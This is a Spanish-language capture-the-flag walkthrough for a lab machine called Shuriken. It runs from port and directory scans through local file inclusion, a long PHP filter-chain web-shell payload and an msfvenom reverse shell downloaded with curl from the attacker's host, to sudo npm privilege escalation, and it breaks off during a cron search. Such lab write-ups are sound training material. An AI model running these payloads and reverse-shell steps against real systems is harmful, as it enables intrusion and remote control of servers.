Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 03:32 EDT
Nmap scan report for 192.168.195.151
Host is up (0.00057s latency).

PORT     STATE    SERVICE    VERSION
80/tcp   open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Shuriken
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp filtered http-proxy
MAC Address: 00:0C:29:C3:5C:FC (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.57 ms 192.168.195.151

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.15 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.195.151/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess.html       (Status: 403) [Size: 280]
```

```
/.htaccess.php        (Status: 403) [Size: 280]
/.htpasswd.html       (Status: 403) [Size: 280]
/.htpasswd.php        (Status: 403) [Size: 280]
/.htaccess.txt        (Status: 403) [Size: 280]
/.htpasswd.txt        (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/css                  (Status: 200) [Size: 1130]
/img                  (Status: 200) [Size: 1160]
/index.php            (Status: 200) [Size: 6021]
/js                   (Status: 200) [Size: 1170]
/login.html           (Status: 200) [Size: 2849]
/secret               (Status: 200) [Size: 944]
/server-status        (Status: 403) [Size: 280]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos un `login` y un `/secret`, si nos metemos en `secret`...

```
URL = http://<IP>/secret/
```

Nos aparecera una foto `.png` llamada `secret.png`, veremos una imagen de `JavaScript` por lo que puede ser una pista o algo parecido...

Si nos vamos a `/js` vemos 2 archivos `JavaScript` el que nos interesa es el llamado `index__d8338055.js` y si empezamos a leer vemos la siguiente linea...

```
http://shuriken.local/index.php?referer=
```

Lo primero editaremos el `hosts` para cambiarlo a `shuriken.local` y despues vemos que utiliza `?referer=` por lo que podremos hacer `File Inclusion`...

```
sudo nano /etc/hosts

#Dentro del nano
<IP>          shuriken.local
```

Lo guardamos y vamos directamente a la siguiente `URL`...

Podemos utilizar una herramienta que te asegura lo que funciona y lo que no en un `FLI`...

URL = https://github.com/hansmach1ne/LFImap

Cuando la descarguemos y la montemos en nuestro `host` haremos lo siguiente...

```
python3 lfimap.py -U 'http://shuriken.local/index.php?referer=a' -a
```

Info:

```
[i] Testing GET 'referer' parameter...
[+] LFI ->
'http://shuriken.local/index.php?referer=php%3A%2F%2Ffilter%2Fresource%3D%2Fetc%2Fpas
swd'
[+] LFI -> 'http://shuriken.local/index.php?referer=file%3A%2F%2F%2Fetc%2Fpasswd'
[+] LFI -> 'http://shuriken.local/index.php?referer=/etc/passwd'
```

LFImap finished with execution.
Parameters tested: 1
Requests sent: 26
Vulnerabilities found: 3

```
Nos indica que funionan 3 formas de ver el archivo ``passwd`` por lo que si lo
utilizamos en la ``URL``...
```

URL = http://shuriken.local/index.php?referer=php%3A%2F%2Ffilter%2Fresource%3D%2Fetc%2Fpasswd

```
Una vez buscado eso, cuando cargue la pagina al completo insepccionamos el codigo y
veremos lo siguinte...
```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
lightdm:x:106:113:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:107:117::/nonexistent:/bin/false
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:110:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash

vboxadd:x:999:1::/var/run/vboxadd:/bin/false
mysql:x:112:123:MySQL Server,,,:/nonexistent:/bin/false

```
Nos descubre un usuario llamado ``server-management`` pero no tenemos ``ssh``, si investigamos un poco mas veremos otra ``URL`` en el otro archivo ``js`` llamado ``index__7ed54732.js``...
```

http://broadcast.shuriken.local

```
Por lo que lo añadiremos a nuestro ``hosts``...

```shell
sudo nano /etc/hosts

#Dentro del nano
<IP>            shuriken.local broadcast.shuriken.local
```

Pero no haremos mucho con esa `URL`, siguiendo el `LFI` iremos a una `URL` donde descargaremos una herramienta que nos ayuda saber que poner en la `URL` de la siguiente manera...

URL = https://github.com/synacktiv/php_filter_chain_generator

Una vez nos descargamos el `.py` lo ejecutaremos de la siguiente manera...

```
python3 <PYTHON_FILE>.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'
```

Info:

```
[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
```
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Una vez nos de lo que tenemos que meter, la `URL` quedara de la siguiente manera...

```
URL =
http://shuriken.local/index.php?cmd=ls&referer=php://filter/convert.iconv.UTF8.CSISO2
022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN
5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-
```

```
103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-
9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
```

32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-

```
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Ya que hemos creado un parametro llamado `cmd` y le indicamos que se puede ejecutar un comando dentro del mismo, tendremos que añadir el siguiente parametro de esta manera...

```
URL = http://shuriken.local/index.php?cmd=ls&referer=<CONTENT_PYTHON>
```

Si por ejemplo hacemos un `ls` y miramos en en el codigo de la pagina, veremos que funciona...

```
css
img
index.php
js
login.html
secret
```

Por lo que ahora haremos una `Reverse Shell` de esta manera...

> host

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<HOST_IP> LPORT=<PORT> -f elf -o
shell.elf
```

Info:

```
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell.elf

python3 -m http.server 80
```

> Maquina victima

```
curl -o /tmp/shell.elf http://<HOST_IP>/shell.elf
```

Con esto ya tendriamos el archivo en la carpeta `/tmp` de la maquina victima...

```
URL = http://shuriken.local/index.php?cmd=curl -o /tmp/shell.elf
http://<HOST_IP>/shell.elf&referer=<CONTENT_PYTHON>

ls -l /tmp/shell.elf

URL = http://shuriken.local/index.php?cmd=ls -l
/tmp/shell.elf&referer=<CONTENT_PYTHON>
```

Info:

```
-rw-r--r-- 1 www-data www-data 152 Jun  5 14:40 /tmp/shell.elf
```

Sabiendo que lo tenemos, haremos lo siguiente por si acaso aunque parece que no funciona para darle permisos de ejecuccion...

> OPCIONAL

```
chmod%20%2bx%20/tmp/shell.elf
```

o

```
chmod +x /tmp/shell.elf<ESPACIO>
```

Lo anterior tiene que ser con un espacio en el segundo...

```
URL =
http://shuriken.local/index.php?cmd=chmod%20%2bx%20/tmp/shell.elf&referer=<CONTENT_PY
THON>

URL = http://shuriken.local/index.php?cmd=chmod +x
/tmp/shell.elf&referer=<CONTENT_PYTHON>
```

Una vez hecho esto, lo ejecutaremos de la siguiente manera, pero antes tendremos que configurar y preparar el estar a la escucha desde `metasploit`...

> Metasploit

```
msfconsole -q

#Dentro del mismo entorno
use multi/handler

set payload linux/x86/shell_reverse_tcp

set LHOST <HOST_IP>

set LPORT <PORT>

run
```

Con esto ya estariamos a la escucha, por lo que lo ejecutaremos...

```
/tmp/shell.elf

URL = http://shuriken.local/index.php?cmd=/tmp/shell.elf&referer=<CONTENT_PYTHON>
```

Si ponemos eso lo que haremos sera ejecutarlo y tendremos la shell en `metasploit` con el usuario `www-data`...

```
script /dev/null -c bash

export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for www-data on shuriken:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User www-data may run the following commands on shuriken:
    (server-management) NOPASSWD: /usr/bin/npm
```

Podemos ejecutar ese comando como el usuario `server-management`, por lo que haremos lo siguiente...

```
mkdir /tmp/npm-shell
cd /tmp/npm-shell

echo '{"name": "npm-shell", "version": "1.0.0", "scripts": {"shell": "/bin/bash"}}' >
/tmp/npm-shell/package.json

sudo -u server-management npm --prefix /tmp/npm-shell run shell
```

Info:

```
> npm-shell@1.0.0 shell /tmp/npm-shell
> /bin/bash
```

Con esto ya seriamos el usuario `server-management`, si nos vamos a su `/home` leeremos la flag...

user.txt (flag1)

```
67528b07b382dfaa490f4dffc57dcdc0
```

Si hacemos lo siguiente para ver los `crontabs` iremos a una linea en concreto en la cual siempre suele haber `crontbas`...

```
find / -name "cron*" 2>/dev/null
```

Info:

```
/lib/systemd/system/cron.service
/usr/lib/node_modules/pm2/node_modules/cron
/usr/lib/node_modules/pm2/node_modules/cron/tests/cron.test.js
/usr/lib/node_modules/pm2/node_modules/cron/tests/crontime.test.js
